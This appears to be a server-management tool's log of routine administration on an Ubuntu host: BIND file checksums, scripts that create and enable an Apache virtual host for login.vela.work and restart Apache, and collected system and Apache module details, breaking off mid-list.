MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:21:50: Establishing a connection
2026-06-19 11:22:08: Establishing a connection
2026-06-19 11:22:08: 

PUT: /tmp/pkp648680

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/vela_login_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:22:08: 

chmod 755 /tmp/pkp648680; /tmp/pkp648680; rm /tmp/pkp648680

2026-06-19 11:22:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/vela_login_work.conf 0



2026-06-19 11:22:08: 

PUT: /tmp/pkp564976

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_login_work.conf
TARGET=sites-available/vela_login_work.conf
DOCROOT=/var/www/vela_login
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/vela_login_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2/sites-available/vela_login_work.conf'
	echo 'file(/etc/apache2/sites-available/vela_login_work.conf= 1'
fi


2026-06-19 11:22:08: 

chmod 755 /tmp/pkp564976; /tmp/pkp564976; rm /tmp/pkp564976

2026-06-19 11:22:08: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2/sites-available/vela_login_work.conf
file(/etc/apache2/sites-available/vela_login_work.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-06-19 11:22:08: 

PUT: /tmp/pkp371528

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-19 11:22:08: 

chmod 755 /tmp/pkp371528; /tmp/pkp371528; rm /tmp/pkp371528

2026-06-19 11:22:08: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-19 11:22:08: Performing Server Status
2026-06-19 11:22:08: 

PUT: /tmp/pkp326791

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:22:08: 

chmod 755 /tmp/pkp326791; /tmp/pkp326791; rm /tmp/pkp326791

2026-06-19 11:22:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-124-generic



2026-06-19 11:22:08: 

PUT: /tmp/pkp743267

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-06-19 11:22:08: 

chmod 755 /tmp/pkp743267; /tmp/pkp743267; rm /tmp/pkp743267

2026-06-19 11:22:08: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-06-03T15:41:58
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 561214
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      561214  0.0  0.9 128184 36664 ?        Ss   Jun11   1:11 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-06-19 11:22:08: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
